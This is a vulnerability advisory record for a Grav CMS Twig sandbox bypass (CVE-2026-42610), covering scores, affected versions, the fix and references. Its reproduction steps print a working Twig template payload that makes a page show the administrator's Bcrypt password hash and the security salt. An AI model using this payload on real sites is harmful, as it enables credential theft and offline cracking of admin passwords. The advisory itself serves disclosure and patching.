6.5medium
Grav: Sensitive Information Disclosure via Accounts Service Bypass
- Severity
- 6.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.29% (higher than 23% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-3f29-pqwf-v4j4
Description
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. This vulnerability is fixed in 2.0.0-beta.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| getgrav grav | < 2.0.0-beta.2, up to 1.8.0, 2.0.0 | CVE List, NVD |
| getgrav/grav (Packagist) | before 2.0.0-beta.2 | GitHub Advisory Database |
All scores
| GitHub_M | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. This vulnerability is fixed in 2.0.0-beta.2.
GitHub Advisory Database
Summary
Information disclosure exists in Grav CMS v1.8.0-beta.29. Despite previous security patches (notably in v1.8.0-beta.27/28) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed.
A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt.
Affected version
Grav CMS: v1.8.0-beta.29 (and earlier 1.8.x beta versions).
Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases.
Steps to Reproduce
-
Create a low-privileged account (MY CASE IS 'editor_chen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied.
-
Login to the Admin panel using
editor_chen. Navigate to Pages and edit theHomepage. -
Under the Advanced tab, ensure Process Twig is enabled .
-
In the Content tab, inject the following Twig payload designed to bypass the
isDangerousFunctionfilter by accessing the internal service container:
---
title: Information Disclosure Test
process:
twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}
GRAV
- Click Save. And navigate to the public page (
http://localhost:8000/home). Page will render and display the administrator's Bcrypt hash and the system security salt. GRAV2
PoC
---
title: Information Disclosure Test
process:
twig: true
---
# Security Audit Results
- Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }}
- Security Salt: {{ grav.config.get('security.salt') }}
Impact
Attackers can obtain the password hashes of all registered users, including Super Administrators.
Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat)
Video
Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video>
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: the HMAC key formerly stored as security.salt in user/config/security.yaml has moved out of the Config tree into user/config/security-private.php. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live Config object and the on-disk YAML — so {{ grav.config.get('security.salt') }} from a sandboxed Twig template now returns null. The .php extension is blocked from web access by the default user/*.php htaccess rule; the file contains only a return statement, so direct PHP exec produces no output either.
The PoC's password-hash half (grav['accounts'].load('admin').get('hashed_password')) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — UserCollection::load is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory.
Files:
system/src/Grav/Common/Security.php— newSecurity::getNonceKey()+ migration.system/src/Grav/Common/Utils.php—generateNonceStringnow uses the new key.system/src/Grav/Common/Service/SessionServiceProvider.php.system/src/Grav/Common/Config/Setup.php— removed auto-gen ofsecurity.salt.system/config/security.yaml— removed placeholdersalt:.tests/unit/Grav/Common/Security/NonceKeySecurityTest.php— migration + generation coverage.
NVD (es)
Grav es una plataforma web basada en archivos. Antes de la versión 2.0.0-beta.2, un usuario con privilegios bajos (EJ: Editor de Contenido con solo permisos pages.update) puede eludir las restricciones existentes del sandbox de Twig utilizando el servicio grav[’accounts’]. El atacante puede cargar programáticamente objetos de usuario administrativo y extraer datos sensibles, incluyendo hashes de contraseña Bcrypt y el salt de seguridad. Esta vulnerabilidad está corregida en la versión 2.0.0-beta.2.
References
| https://github.com/getgrav/grav/security/advisories/GHSA-3f29-pqwf-v4j4 | exploit, patch, vendor-advisory, web | |
| https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47 | patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42610 | advisory | |
| https://github.com/getgrav/grav | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42610 changed 2026-05-11 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-3f29-pqwf-v4j4 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-42610 changed 2026-10-26 | Public domain |